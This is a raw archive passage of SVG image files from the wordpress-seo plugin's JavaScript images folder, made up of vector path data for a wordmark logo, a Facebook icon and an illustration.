<path fill-rule="evenodd" clip-rule="evenodd" d="M42.795 105.209C45.4127 105.209 46.7744 107.09 46.9772 108.978H38.599C38.8865 107.09 40.2849 105.209 42.795 105.209M42.7949 102.231C38.329 102.231 34.9614 105.746 34.9614 110.406C34.9614 115.237 38.2845 118.611 43.0428 118.611C45.5737 118.611 47.7325 117.806 49.2876 116.285C49.4091 116.166 49.4262 115.979 49.3272 115.84L48.0271 114.014C47.9678 113.93 47.8754 113.878 47.7737 113.87C47.6731 113.865 47.5714 113.902 47.5011 113.973C46.5044 114.997 44.9031 115.633 43.3215 115.633C40.3201 115.633 38.9265 113.521 38.6335 111.678H50.0688C50.2584 111.678 50.4124 111.524 50.4124 111.335V110.653C50.4124 105.694 47.2801 102.231 42.7949 102.231" fill="#0F1031"/>
<path fill-rule="evenodd" clip-rule="evenodd" d="M72.5495 96.9075H58.6828C58.4937 96.9075 58.3392 97.0614 58.3392 97.251V117.896C58.3392 118.085 58.4937 118.24 58.6828 118.24H72.5495C72.7391 118.24 72.893 118.085 72.893 117.896V115.172C72.893 114.983 72.7391 114.829 72.5495 114.829H62.1213V109.078H72.3323C72.522 109.078 72.6759 108.924 72.6759 108.735V106.011C72.6759 105.821 72.522 105.667 72.3323 105.667H62.1213V100.318H72.5495C72.7391 100.318 72.893 100.165 72.893 99.9749V97.251C72.893 97.0614 72.7391 96.9075 72.5495 96.9075" fill="#0F1031"/>
<path fill-rule="evenodd" clip-rule="evenodd" d="M89.791 102.603H86.7884C86.6472 102.603 86.5218 102.687 86.469 102.819L82.1147 113.749L77.7604 102.819C77.7082 102.687 77.5823 102.603 77.441 102.603H74.4698C74.3549 102.603 74.2488 102.66 74.1845 102.755C74.1207 102.851 74.1086 102.971 74.1526 103.077L80.3117 118.027C80.365 118.156 80.4892 118.239 80.6288 118.239H83.6314C83.771 118.239 83.8953 118.156 83.9486 118.027L90.1082 103.077C90.1522 102.971 90.1401 102.851 90.0763 102.755C90.012 102.66 89.9059 102.603 89.791 102.603" fill="#0F1031"/>
<path fill-rule="evenodd" clip-rule="evenodd" d="M98.3718 105.209C100.99 105.209 102.351 107.09 102.554 108.978H94.1758C94.4633 107.09 95.8618 105.209 98.3718 105.209M98.3718 102.231C93.9059 102.231 90.5383 105.746 90.5383 110.406C90.5383 115.237 93.8614 118.611 98.6197 118.611C101.151 118.611 103.309 117.806 104.865 116.285C104.986 116.166 105.003 115.979 104.904 115.84L103.604 114.014C103.545 113.93 103.452 113.878 103.351 113.87C103.251 113.865 103.148 113.902 103.078 113.973C102.081 114.997 100.48 115.633 98.8984 115.633C95.8964 115.633 94.5029 113.521 94.2099 111.678H105.646C105.835 111.678 105.989 111.524 105.989 111.335V110.653C105.989 105.694 102.857 102.231 98.3718 102.231" fill="#0F1031"/>
<path fill-rule="evenodd" clip-rule="evenodd" d="M116.983 102.231C114.507 102.231 112.765 103.527 112.033 104.195V102.946C112.033 102.757 111.879 102.603 111.689 102.603H108.904C108.714 102.603 108.56 102.757 108.56 102.946V117.896C108.56 118.086 108.714 118.24 108.904 118.24H111.689C111.879 118.24 112.033 118.086 112.033 117.896V107.332C112.773 106.365 114.221 105.395 115.806 105.395C117.773 105.395 118.651 106.3 118.651 108.332V117.896C118.651 118.086 118.804 118.24 118.994 118.24H121.78C121.969 118.24 122.124 118.086 122.124 117.896V107.404C122.124 104.02 120.346 102.231 116.983 102.231" fill="#0F1031"/>
<path fill-rule="evenodd" clip-rule="evenodd" d="M133.156 115.093C133.117 114.978 133.019 114.891 132.902 114.867C132.792 114.844 132.657 114.882 132.575 114.973C132.369 115.202 131.887 115.448 131.314 115.448C130.283 115.448 130.203 114.313 130.203 113.965V105.735H132.893C133.082 105.735 133.236 105.581 133.236 105.392V102.946C133.236 102.757 133.082 102.603 132.893 102.603H130.203V98.8606C130.203 98.671 130.049 98.5171 129.859 98.5171H127.074C126.884 98.5171 126.73 98.671 126.73 98.8606V102.603H124.598C124.408 102.603 124.254 102.757 124.254 102.946V105.392C124.254 105.581 124.408 105.735 124.598 105.735H126.73V114.584C126.73 117.181 128.116 118.611 130.633 118.611C132.002 118.611 133.03 118.266 133.779 117.558C133.876 117.465 133.911 117.325 133.868 117.198L133.156 115.093Z" fill="#0F1031"/>
<path fill-rule="evenodd" clip-rule="evenodd" d="M142.473 108.616C140.599 108.179 139.272 107.791 139.272 106.784C139.272 105.793 140.315 105.178 141.993 105.178C143.67 105.178 145.303 105.846 146.154 106.879C146.219 106.958 146.315 107.004 146.419 107.004C146.421 107.004 146.438 107.003 146.44 107.003C146.549 106.997 146.651 106.938 146.709 106.845L147.947 104.894C148.034 104.756 148.012 104.574 147.893 104.461C146.359 103.003 144.309 102.231 141.962 102.231C137.813 102.231 135.923 104.704 135.923 107.001C135.923 110.486 139.127 111.228 141.701 111.824C143.535 112.238 145.054 112.681 145.054 113.903C145.054 115.026 143.979 115.696 142.179 115.696C140.183 115.696 138.312 114.646 137.418 113.671C137.353 113.6 137.261 113.559 137.165 113.559C137.155 113.559 137.147 113.56 137.137 113.561C137.031 113.57 136.934 113.628 136.877 113.716L135.546 115.759C135.458 115.893 135.476 116.073 135.589 116.187C137.143 117.772 139.379 118.611 142.055 118.611C145.93 118.611 148.434 116.678 148.434 113.687C148.434 109.966 145.13 109.218 142.473 108.616" fill="#0F1031"/>
<path fill-rule="evenodd" clip-rule="evenodd" d="M167.004 100.009C169.166 100.009 171.189 101.097 172.283 102.849C172.376 102.998 172.578 103.054 172.736 102.972L175.367 101.579C175.453 101.533 175.516 101.453 175.539 101.36C175.563 101.265 175.546 101.165 175.492 101.085C173.493 98.087 170.638 96.567 167.004 96.567C160.773 96.567 156.074 101.305 156.074 107.589C156.074 113.873 160.773 118.611 167.004 118.611C170.6 118.611 173.454 117.092 175.491 114.096C175.545 114.015 175.563 113.914 175.539 113.82C175.516 113.726 175.454 113.646 175.367 113.599L172.736 112.206C172.578 112.125 172.376 112.18 172.283 112.329C171.188 114.081 169.166 115.169 167.004 115.169C163.114 115.169 160.5 112.123 160.5 107.589C160.5 102.984 163.053 100.009 167.004 100.009" fill="#0F1031"/>
<path fill-rule="evenodd" clip-rule="evenodd" d="M187.429 112.195V114.497C186.683 115.422 185.379 115.974 183.935 115.974C182.114 115.974 180.843 114.893 180.843 113.347C180.843 111.799 182.114 110.718 183.935 110.718C185.379 110.718 186.683 111.27 187.429 112.195M184.554 102.231C182.047 102.231 179.904 103.087 178.185 104.775C178.07 104.887 178.05 105.068 178.135 105.203L179.342 107.123C179.398 107.211 179.49 107.269 179.595 107.281C179.699 107.295 179.804 107.255 179.876 107.182C181.14 105.917 182.529 105.302 184.12 105.302C186.13 105.302 187.429 106.333 187.429 107.93V109.579C186.28 108.599 184.712 108.081 182.883 108.081C180.213 108.081 177.339 109.719 177.339 113.315C177.339 116.755 180.195 118.611 182.883 118.611C184.664 118.611 186.232 118.077 187.429 117.065V117.896C187.429 118.086 187.583 118.24 187.773 118.24H190.558C190.748 118.24 190.902 118.086 190.902 117.896V107.806C190.902 104.263 188.588 102.231 184.554 102.231" fill="#0F1031"/>
<path fill-rule="evenodd" clip-rule="evenodd" d="M198.111 96.9075H195.326C195.136 96.9075 194.982 97.0614 194.982 97.251V117.896C194.982 118.085 195.136 118.24 195.326 118.24H198.111C198.301 118.24 198.455 118.085 198.455 117.896V97.251C198.455 97.0614 198.301 96.9075 198.111 96.9075" fill="#0F1031"/>
<path fill-rule="evenodd" clip-rule="evenodd" d="M209.409 105.209C212.027 105.209 213.388 107.09 213.591 108.978H205.213C205.501 107.09 206.899 105.209 209.409 105.209M209.409 102.231C204.943 102.231 201.576 105.746 201.576 110.406C201.576 115.237 204.899 118.611 209.657 118.611C212.188 118.611 214.347 117.806 215.902 116.285C216.023 116.166 216.04 115.979 215.941 115.84L214.641 114.014C214.582 113.93 214.489 113.878 214.388 113.87C214.292 113.865 214.185 113.902 214.115 113.973C213.118 114.997 211.517 115.633 209.936 115.633C206.934 115.633 205.541 113.521 205.248 111.678H216.683C216.873 111.678 217.026 111.524 217.026 111.335V110.653C217.026 105.694 213.894 102.231 209.409 102.231" fill="#0F1031"/>
<path fill-rule="evenodd" clip-rule="evenodd" d="M228.019 102.231C225.543 102.231 223.802 103.527 223.07 104.195V102.946C223.07 102.757 222.916 102.603 222.726 102.603H219.941C219.751 102.603 219.597 102.757 219.597 102.946V117.896C219.597 118.086 219.751 118.24 219.941 118.24H222.726C222.916 118.24 223.07 118.086 223.07 117.896V107.332C223.81 106.365 225.258 105.395 226.843 105.395C228.81 105.395 229.687 106.3 229.687 108.332V117.896C229.687 118.086 229.841 118.24 230.031 118.24H232.817C233.006 118.24 233.16 118.086 233.16 117.896V107.404C233.16 104.02 231.383 102.231 228.019 102.231" fill="#0F1031"/>
<path fill-rule="evenodd" clip-rule="evenodd" d="M247.307 107.352V113.522C246.532 114.656 244.972 115.448 243.503 115.448C241.006 115.448 239.328 113.434 239.328 110.437C239.328 107.421 241.006 105.395 243.503 105.395C244.935 105.395 246.531 106.217 247.307 107.352M250.436 96.9075H247.651C247.461 96.9075 247.307 97.0614 247.307 97.251V104.186C246.069 102.924 244.461 102.231 242.761 102.231C238.556 102.231 235.731 105.529 235.731 110.437C235.731 115.326 238.556 118.611 242.761 118.611C244.435 118.611 246.082 117.909 247.307 116.681V117.896C247.307 118.085 247.461 118.24 247.651 118.24H250.436C250.626 118.24 250.78 118.085 250.78 117.896V97.251C250.78 97.0614 250.626 96.9075 250.436 96.9075" fill="#0F1031"/>
<path fill-rule="evenodd" clip-rule="evenodd" d="M264.084 112.195V114.497C263.338 115.422 262.034 115.974 260.589 115.974C258.769 115.974 257.498 114.893 257.498 113.347C257.498 111.799 258.769 110.718 260.589 110.718C262.034 110.718 263.338 111.27 264.084 112.195M261.209 102.231C258.702 102.231 256.559 103.087 254.839 104.775C254.725 104.887 254.704 105.068 254.79 105.203L255.997 107.123C256.053 107.211 256.144 107.269 256.249 107.281C256.353 107.295 256.458 107.255 256.53 107.182C257.795 105.917 259.183 105.302 260.775 105.302C262.785 105.302 264.084 106.333 264.084 107.93V109.579C262.935 108.599 261.366 108.081 259.537 108.081C256.867 108.081 253.994 109.719 253.994 113.315C253.994 116.755 256.85 118.611 259.537 118.611C261.318 118.611 262.887 118.077 264.084 117.065V117.896C264.084 118.086 264.238 118.24 264.428 118.24H267.213C267.403 118.24 267.557 118.086 267.557 117.896V107.806C267.557 104.263 265.243 102.231 261.209 102.231" fill="#0F1031"/>
<path fill-rule="evenodd" clip-rule="evenodd" d="M279.656 102.262C278.042 102.262 276.394 103.01 275.11 104.319V102.946C275.11 102.757 274.955 102.603 274.766 102.603H271.98C271.791 102.603 271.637 102.757 271.637 102.946V117.896C271.637 118.085 271.791 118.239 271.98 118.239H274.766C274.955 118.239 275.11 118.085 275.11 117.896V107.592C275.755 106.586 277.459 105.673 278.697 105.673C279.037 105.673 279.326 105.701 279.582 105.758C279.682 105.779 279.79 105.755 279.872 105.69C279.953 105.624 280 105.527 280 105.423V102.606C280 102.416 279.846 102.262 279.656 102.262" fill="#0F1031"/>
</svg>
wordpress-seo/packages/js/images/icon-facebook.svg000064400000000775147510273070016256 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1600 1600" role="img" aria-hidden="true" focusable="false"><g fill="none" fill-rule="evenodd"><path fill="#1877f2" d="M1600 800a800 800 0 1 0-925 790v-559H472V800h203V624c0-201 119-311 302-311 88 0 179 15 179 15v197h-101c-99 0-130 62-130 125v150h222l-36 231H925v559a800 800 0 0 0 675-790"/><path fill="#fff" d="M1147 800H925V650c0-63 31-125 130-125h101V328s-91-15-179-15c-183 0-302 110-302 311v176H472v231h203v559a806 806 0 0 0 250 0v-559h186z"/></g></svg>wordpress-seo/packages/js/images/indexables_1_left_bubble_optm.svg000064400000030602147510273070021471 0ustar00<svg role="img" aria-hidden="true" focusable="false" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 262.37 284.15"><path fill="#f0ecf0" d="M262.37 153A131.19 131.19 0 1 0 54.71 259.56a28.08 28.08 0 0 1 1.91-7.37c2-4.92-12.06-11.1-7.52-26.48 3.49-11.81 30.9-25.16 37.1-41.56 2.4-6.32 12-30.34 29.69-35.66 9-2.7 48.29-13.29 60.25-11.07s37.48 11 31.66 41.46c-10.26 53.79-44.8 59.12-46.28 94.64a27.46 27.46 0 0 0 .65 6.94A131.23 131.23 0 0 0 262.37 153Z"/><path fill="#006531" d="M161.52 273.52c1.44-35.53 36-40.85 46.28-94.64 5.82-30.51-19.7-39.25-31.66-41.46s-51.23 8.37-60.25 11.07c-17.72 5.32-27.29 29.34-29.69 35.66-6.2 16.4-33.61 29.75-37.1 41.56-4.54 15.38 9.53 21.56 7.52 26.48a28.08 28.08 0 0 0-1.91 7.37 131.71 131.71 0 0 0 12.68 8.05 184.18 184.18 0 0 1 7.18-34.05c-4.12-2.43-8.32-4-19.15-2.33 16.06-23.66 34.79-45.11 64.9-65.12 2.54 22.59 3.65 40.75 14.49 60-14.93-3.2-25.12 0-32 4.77a103.74 103.74 0 0 0-4.6 49.12 132 132 0 0 0 64 .49 27.23 27.23 0 0 1-.69-6.97Z"/><path fill="#89bc3b" d="M102.8 230.9c6.89-4.73 17.08-8 32-4.77-10.84-19.27-12-37.43-14.49-60-30.11 20-48.84 41.46-64.9 65.12 10.83-1.66 15-.1 19.15 2.33a184.18 184.18 0 0 0-7.18 34A130.42 130.42 0 0 0 98.21 280a103.65 103.65 0 0 1 4.59-49.1Z"/><path fill="#093f22" d="M61.29 184.66c-4.39 13.11-15 33.6-14.52 47.42 11.9-18 34.83-42.28 46.73-60.26 2.69-4.08 1.49-10.8-3.21-13.29-3.83-2-8.45-.15-11.7 1.92-8.3 5.28-14.21 14.98-17.3 24.21ZM133.9 243.31l18.32-60.92s.51 11.07 1.1 9.3 16.4-28.8 16.4-28.8l-28.14 81Z"/><path fill="#006531" d="M169.31 113.64c.71 13.17 6.24 22.36 5.36 25.68-33.67 6.42-49.16 29.46-54 28.88-6.67-3.85-5.76-14.39-5.54-17.71 3.55-6.65-.12-17.65 1.77-23.89 1.4-4.6 9.38-12.6 18.1-14.53s33.93-5.54 34.31 1.57Z"/><path fill="#b498c6" d="M122.32 166.11c6.09-9.75 11.1-30.31 14.62-33.9 3.33-3.39 22.1-12 26.12-13.51 1.56-1.22 2-2.55 2.09-6.65l.23-19.82-45.16 16.39 2.53 37.22c.67 5.09.35 10.08-.43 20.27Z"/><path fill="#8b6c9c" d="m166.15 92.89-.64 7.17c-.94 12.77-25.4 31.3-38.1 30.12-4.6-.42-5.78-10.38-7.39-15.06l-2.61-9.52Z"/><path fill="#b498c6" d="M157.71 192S128 247.74 126 254s-.23 13.67 4.49 15.24 16.51.6 24.27-7.47c5.9-6.14 28.74-39.14 29.45-39.85.06-13.3-7.49-22.14-26.5-29.92Z"/><ellipse cx="106.71" cy="192.91" fill="#fbb03b" stroke="#fc3" stroke-miterlimit="10" rx="8.8" ry="5.58" transform="rotate(-19.17 106.716 192.914)"/><path fill="#f19018" d="M92.72 206.13c4.25-1.18 9.78-1.68 17-1.26-6.39 3.89-15.24 15.48-15.51 17.65a87.16 87.16 0 0 1 11-1.88c-16 10.81-23.79 31.12-22.85 30.75-1.24.41-3.63-21.77 6.06-31.06a32.05 32.05 0 0 0-7.73 1.1c1.68-4.03 6.97-11.62 12.03-15.3Z"/><path fill="#fbb03b" stroke="#fc3" stroke-miterlimit="10" d="M92.72 206.13c4.25-1.18 9.78-1.68 17-1.26-6.39 3.89-15.24 15.48-15.51 17.65a87.16 87.16 0 0 1 11-1.88c-16 10.81-23.79 31.12-22.85 30.75-1.24.41-3.63-21.77 6.06-31.06a32.05 32.05 0 0 0-7.73 1.1c1.68-4.03 6.97-11.62 12.03-15.3Z"/><path fill="#006531" d="M183.45 223.15c-3.73-9.11-19.27-19.94-31.68-20.38 7.54-16.39 11.46-29.12 19.31-42.24 0 0-5.74-22.74-1-22.2 8.52 1 19-7.56 33.67-4.23 14.25 3.23 20.27 23.26 17 38-4.47 19.9-40.04 54.49-37.3 51.05Z"/><path fill="#8b6c9c" d="M80 254.38C77.79 252.17 71.81 244 65.6 244s-33 6.87-33 6.87l-.45 9.3s16.69 1.77 19.94 2.22 16-3.55 16-3.55Z"/><path fill="#8b6c9c" d="M72.14 260.36c-12.31-.11-23.45 6.28-26.55 5.39-4.1-1.33-4.21.82-6.64.59s-6.7-3.65-6.7-3.65l.12-12.3 39 7.09Z"/><path fill="#8b6c9c" d="M50.63 262.9c-4.43-2.21-15.73 4.28-17.74 2.71-4.64-3.65-8.27-6.21-9.3-8.42s2.47-5.91 1.59-16.1c-.44-5.07 4.31-5.32 6.09-1.33.93 2.1 1.33 13.51 1.33 13.51l7.63 2.1Z"/><path fill="#b498c6" d="M100.38 163.12c.89 4-22.61 60.35-31.91 76.3S40.9 257.36 40.9 257.36s-14.48-.79-9.17-22.05 24.47-27.82 31.55-37.42 20.27-29 20.27-33.45c0-3.1 15.95-5.31 16.83-1.32Z"/><path fill="#8b6c9c" d="M100.48 163.09a3.78 3.78 0 0 1 0 .95 9.1 9.1 0 0 1-.16.91c-.12.6-.29 1.19-.44 1.78-.33 1.17-.69 2.34-1.06 3.5-.76 2.32-1.56 4.62-2.38 6.92Q94 184 91.28 190.83q-5.4 13.59-11.26 27-2.92 6.71-6 13.34A63.91 63.91 0 0 1 66.55 244 35.8 35.8 0 0 1 55 253.26a38.85 38.85 0 0 1-14.07 4.2v-.2a41.07 41.07 0 0 0 6.94-2.09 39.27 39.27 0 0 0 6.44-3.17A35.56 35.56 0 0 0 65 242.71a26.19 26.19 0 0 0 2-2.9c.66-1 1.22-2.05 1.8-3.1q1.74-3.18 3.36-6.44c2.2-4.33 4.31-8.71 6.37-13.12q6.14-13.23 11.79-26.7 2.85-6.72 5.53-13.51c.88-2.27 1.74-4.55 2.56-6.84.4-1.14.79-2.29 1.15-3.46.17-.58.35-1.16.48-1.75a6.54 6.54 0 0 0 .18-.88 3.19 3.19 0 0 0 .06-.87Z"/><path fill="#8b6c9c" d="M98.61 166.22s10.4-10 11.73-14c1.78-5.31-.21-15.41 2.56-22.17 1.13-2.77 5-12.4 5.3-13.28s-3.13-2.36-4.76-1.77a17.06 17.06 0 0 0-6.26 5.61c-1.33 2.22-.68 10.15-4.37 11.34s-18.23 10.61-18.38 17.4.44 11.85 14.18 16.87Z"/><path fill="#8b6c9c" d="m100.38 163.12 8.42-13.74-13.74-19s4.35-12 5.09-16.39 3.84-11.14.56-18.17c-2.12-4.55-4.79-5-5.09-2.1s-1.16 13.72-2.62 17.12-8.08 14.62-8.08 14.62l-12.4 14.62Z"/><path fill="#b498c6" d="M138.58 5.48c-20.7-.38-38 19.23-39.7 21.63-1.34 1.94-5.06 12-6.58 19.34.42-1.33.87-2.62 1.33-3.85 13.19-6.56 37.64-4.79 70.11 2.89 1.75 6.74 1.36 12.38 1.15 20.18 0 0-15.4 8.58-24.28 9.94-7.5 1.16-11.68-1.37-14.5-3.62-4-3.18-7.61-9.22-13.15-9.67-5.81-.47-7.83 9.3-10.72 9-1.73-.18-7.25.7-9.63 2.76a34.28 34.28 0 0 0-.24 9.16c1.25 5.91 5.63 11.61 8.16 14.52s4.19 11.43 8.45 15.76c9.81 9.93 47-6.94 55.48-17.25 3.75-4.53 8.8-28 8.8-28s10.52-10.21 10.46-16.87c-.21-22.82-17.07-45.4-45.14-45.92Z"/><path fill="#fcee21" d="M92.41 51.14a78.25 78.25 0 0 1 .88-8.53C83.1 69 92.42 74.26 92.61 74.09a39.64 39.64 0 0 1 2.9-8.67s-3.36-7.58-3.1-14.28Z"/><path fill="#fbb03b" d="M102.24 71.33c2.89.29 4.91-9.48 10.72-9 5.54.45 9.14 6.49 13.15 9.67 2.82 2.25 7 4.78 14.5 3.62 8.88-1.36 24.28-9.94 24.28-9.94.21-7.8.6-13.44-1.15-20.18-32.47-7.69-56.92-9.5-70.11-2.9-.89 2-1.63 13.3-1.63 13.3-.3 5 .89 6.64 3.47 9.52a42 42 0 0 0-2.82 8.67c2.35-2.09 7.86-2.94 9.59-2.76Z"/><path fill="#89bc3b" d="M156 194.13c7.53-.89 21.71 6.87 26.81 12.62 14.42-12.32 25.39-37.37 27.91-45.19 6.64-20.6-11.52-28.35-11.52-28.35l2.44.66s18.38 5.76 14.84 31.9c-1.24 9.13-14.64 33.72-28.8 46.3.89 1.55 2.22 3.32 2.66 4.87l-6.65 6.43c-2.66-8.42-22.81-20.82-31.9-20.6Z"/><path fill="#b498c6" d="M86.65 168.87c-.89-1.32-17.89-25.57-18.34-28.67s4.69-7.7 6.13-7c9.64 4.61 24.21 17.67 26 22.1s-.71 11.59-.71 11.59ZM77.79 130.77s12.14-11.89 15.09-12 10.11 6 13.11 7.91c3.2 2 3.87 7.13 8.23 10.45.44 2.07-2.22 3.42-5.62 2.39s-7.34-6.81-7.34-6.81l-7.12-3.46-8.38 6.88Z"/><path fill="#b498c6" d="M74.24 133s11.93-9 13.4-9 12.38 7.59 13.42 9.22 1.88 8.59 3.75 14.86c.65 2.17-3.28 5.17-6.53 1.33s-4.77-10.32-4.77-10.32l-7.33-4.61-5.29 3.85Z"/><path fill="#8b6c9c" d="M84.58 124.87a4.75 4.75 0 0 1 3-1.15 7.83 7.83 0 0 1 3.22.82 21.82 21.82 0 0 1 2.69 1.76c.86.62 1.71 1.25 2.56 1.89a47.7 47.7 0 0 1 4.94 4.14 4.21 4.21 0 0 1 .55.71 5.87 5.87 0 0 1 .36.81c.18.53.33 1.05.46 1.57.26 1 .48 2.08.7 3.12.44 2.07.87 4.14 1.37 6.19.25 1 .53 2 .82 3a2.42 2.42 0 0 1 .12 1 2.36 2.36 0 0 1-.26.93 3.58 3.58 0 0 1-1.21 1.34 4 4 0 0 1-3.47.47 5.93 5.93 0 0 1-2.73-2.06 12.37 12.37 0 0 1-2.52-5.93 36.66 36.66 0 0 0 3.3 5.3 5 5 0 0 0 2.26 1.74 3 3 0 0 0 2.6-.35 1.93 1.93 0 0 0 1-2.16c-.3-1-.58-2.06-.83-3.09-.51-2.07-.94-4.15-1.38-6.22-.22-1-.44-2.07-.69-3.08-.13-.51-.27-1-.43-1.49a2.76 2.76 0 0 0-.7-1.17 49.75 49.75 0 0 0-4.81-4c-.84-.63-1.69-1.26-2.55-1.88s-1.75-1.16-2.57-1.8a6.81 6.81 0 0 0-2.78-1.11 4.77 4.77 0 0 0-3.02.7Z"/><path fill="#b498c6" d="M72.62 133.87s5-4.31 6.43-4.66c2.52-.63 12.51 5.9 13.36 7.77 1.31 2.91 2.2 7.57 3.87 11.4.9 2.06-2.84 2.15-5.49.53s-3.57-6.71-3.57-6.71c-2.51-1.89-4.82-2.52-6.54-3.69-.3 2.47-2.6 5.07-7 8.07Z"/><path fill="#8b6c9c" d="M79.05 129.21a5.63 5.63 0 0 1 2.7.27c.88.26 1.73.57 2.58.91a28.34 28.34 0 0 1 4.81 2.54c.77.48 1.53 1 2.27 1.52a12.53 12.53 0 0 1 2.14 1.84 2.76 2.76 0 0 1 .45.71c.09.21.17.44.24.66a12.73 12.73 0 0 1 .38 1.34c.21.9.37 1.8.52 2.68a38.28 38.28 0 0 0 1.15 5.2c.13.41.29.82.46 1.22a2.2 2.2 0 0 1 .2.84 1.33 1.33 0 0 1-.37 1 2.48 2.48 0 0 1-1.56.62 6 6 0 0 1-1.47-.08 8.62 8.62 0 0 1-2.69-.94 5.84 5.84 0 0 1-2.1-2 15.27 15.27 0 0 1-2-5.2l.19.31a9.76 9.76 0 0 0-2.57-1.41 12.13 12.13 0 0 1-3-1.25l.74-.19a14 14 0 0 1-2.58 2.75 8.41 8.41 0 0 0-2.18 2.84 8.13 8.13 0 0 1 1.78-3.21 14.17 14.17 0 0 0 2.08-2.85l.23-.52.5.33a5.89 5.89 0 0 0 1.27.66l1.46.5a10.54 10.54 0 0 1 2.83 1.55l.15.11v.2a14.16 14.16 0 0 0 1.83 4.84 4.89 4.89 0 0 0 1.75 1.69 7.75 7.75 0 0 0 2.38.83 5 5 0 0 0 1.22.06 1.54 1.54 0 0 0 .92-.31c.13-.13.14-.32 0-.72s-.35-.86-.49-1.3a36.1 36.1 0 0 1-1.18-5.34c-.15-.88-.31-1.76-.51-2.61a13 13 0 0 0-.35-1.26 3.72 3.72 0 0 0-.49-1 11.48 11.48 0 0 0-1.94-1.67c-.72-.52-1.46-1-2.22-1.48-1.5-1-3.1-1.75-4.62-2.68-.78-.44-1.57-.86-2.38-1.22a5.79 5.79 0 0 0-2.53-.78Z"/><path fill="#006531" d="M167.62 84.35c22.06 1.45 35.92 5.68 36.5-3.92S197.69 6.63 141.9.54C89-5.24 83.2 37.33 82.73 45s7.68 8.3 7.68 8.3c.22-4 2.07-7.82 3.22-10.71 15.18-4.88 64.17 1.48 67.52 6.22s.8 13 1.47 16.45 9.68 6.8 9.68 6.8Z"/><path fill="#093f22" d="M202.05 84.6c2.39-1.92-8.89-16.64-20.3-20.87l-6 7.31-.26 12.81c7.99 2.15 22.68 3.88 26.56.75Z"/><path fill="#b498c6" d="M180.18 72.06c3.68 2.46 4 8.69 2.45 12.56s-10.89 10.8-13.28 11.15a26.88 26.88 0 0 1-5.15-.2L171 71.7s5.51-2.1 9.18.36Z"/><path fill="#191a1a" d="M165.72 67.49s-13.58 37.88-20.45 41.87c1 1 7.06-1.52 9-3.51 3.55-2.44 16.85-34.8 16.85-34.8Z"/><path fill="#093f22" d="M136.35 21.41c-1.17-2.11 21.15-11.14 32.7-11.14 2.66 0 10.64 6.2 11.52 9.74-15.29-.23-43.05 3.5-44.22 1.4ZM141.17 32.51c-.92-3 31.73-6.14 43.24-3.93 6.28 1.2 8.82 13.26 4.14 11.81-12.21-3.78-46.78-5.97-47.38-7.88ZM99.94 23c2.07-.89.29-4.14-1.48-10.93a19.93 19.93 0 0 0-7.35 7.62s6.76 4.16 8.83 3.31ZM94.28 31.72c.18-1.29-5.85-5.57-6.48-4.62a17.56 17.56 0 0 0-2.94 8.78s9.23-2.88 9.42-4.16Z"/><path fill="#fcee21" d="M95.9 65.56c4.07.42 7.79 1.24 12.23-1 0 0-4-8.79-8.72-8s-3.51 9-3.51 9Z"/><path fill="#f15a24" d="M108.08 64.63c-5.34-9-13.34-9.9-12.12.92-.49.07-1.34-1.88-1.61-2.93-1.29-5.79 4.65-9.51 9.59-5.14 3.17 2.79 4.45 7.01 4.14 7.15Z"/><path fill="#f15a24" d="M106.93 52c1.27.52 2.88 4 1.65 3.5A18.34 18.34 0 0 0 92 57.38c.7-5.91 13-6.22 14.93-5.38Z"/><path fill="#8b6c9c" d="M121.12 71.07c.66 1.59 1.38 3.39-.41 4.53s-4.33-2-5.87-1.57-3.88 2.72-5.55 2.41c-3.52-.66-3.15-3.48-3.15-3.48s-1.61 5.55 4 5.62c3.81 0 4.23-2.58 7.44-2.27s3.46 2.53 4.89 1.61c2.88-1.82.31-6.69-1.35-6.85Z"/><path fill="#8b6c9c" d="M106.73 75.68s-2.65.74-1.19 2.49c-3.18 0-3.08-4.59-1.32-6-.75 2.66 2.51 3.51 2.51 3.51Z"/><ellipse cx="98.36" cy="62.94" fill="#f15a24" rx="3.53" ry="3.42" transform="rotate(-5.96 98.33 62.903)"/><path fill="#8b6c9c" d="M138.73 83.69c-8.66 7.53-14.4 12.67-22.62 13-9.3.32-7.2-7.2-7.2-7.2s.85-2.54 5.63-2.77 20.66-2.78 24.19-3.03Z"/><path fill="#4b3f51" d="M108.91 89.78c.34-.46 1.86-1.93 2.29-1 1.92 3.93 8.45 1.71 28.05-5.2-15 2.26-17.88.24-20.85.48s-3.62 1.67-4.72 1.45-3.43-1.68-4.73-1.1c-3.03 1.27-2.05 3.67-.04 5.37Z"/><path fill="#8b6c9c" d="M132.64 76.68c1.08 1.47 9.51 5.88 9.51 5.88a60.71 60.71 0 0 1-2.89 6.3c.41 0 1.39-5-.85-6.64-1.72-1.22-4.64-2.58-5.77-5.54Z"/><path fill="#b498c6" d="M65.82 248.62c-4.13-.44-11-7.38-15.72-6.64s-9.53 5.31-9.53 5.31-12.7-4.87-16.84-4-9.45 2.36-10.63 3.54-.59 5.91 2.22 5.76 6.05-1 9.3-.44 8.73 6.36 12.41 8c14.17 6.2 29.24.44 29.24.44s3.73-11.52-.45-11.97Z"/><path fill="#8b6c9c" d="M64.15 248c-2.62.11-5-1.72-6.28-2.59-3.86-2.56-4.62-2.62-19.34 1.45-5.79-2.69-4.72-1.58-7.88-2.74a18.46 18.46 0 0 1 8.14 1.76c-.64 0 13-5.16 16.5-3.92s6.23 5.3 8.86 6.04Z"/><path fill="#093f22" d="M90.49 53.46a87 87 0 0 1 3.14-10.86c19.79-3.78 64.81 2.3 67.52 6.22s1.23 13.54 1.18 16.09 8.72 6.72 8.72 6.72l4.57-.74s-8.51-2.28-8.66-6.71 1.56-16.78-3.22-18.69c-29.19-11.62-64.36-8.8-72.53-6.65-6.5 1.7-9.09 6.62-7.44 10.27s6.72 4.35 6.72 4.35ZM160.49 78.05l7.38 2.95-3.99 9.31-7.34-2.07 3.95-10.19z"/><path fill="#b498c6" d="M153.33 236.52c-10.63-4-31.44 3.41-44.53 5.89-29.24 5.53-37.33 5.55-44.09 6-5 .33-3.44 8.5-2.43 12.17 34.11 6.21 41.2 8.42 72 8.92 22.36-5.62 29.72-28.99 19.05-32.98Z"/><path fill="#8b6c9c" d="M131.58 242.4c.39-2 .09-3.41.48-5.52l2.21-.22a53.48 53.48 0 0 0-2.69 5.74Z"/><path fill="#fc3" d="M148.89 45c2 6.65 5.32 17.43 2.44 27.4-2.29 1-10 3.61-12.33 3.39.66-5.76.44-23.11-3.77-32.64 2.31.14 8.22 1.03 13.66 1.85Z"/><path 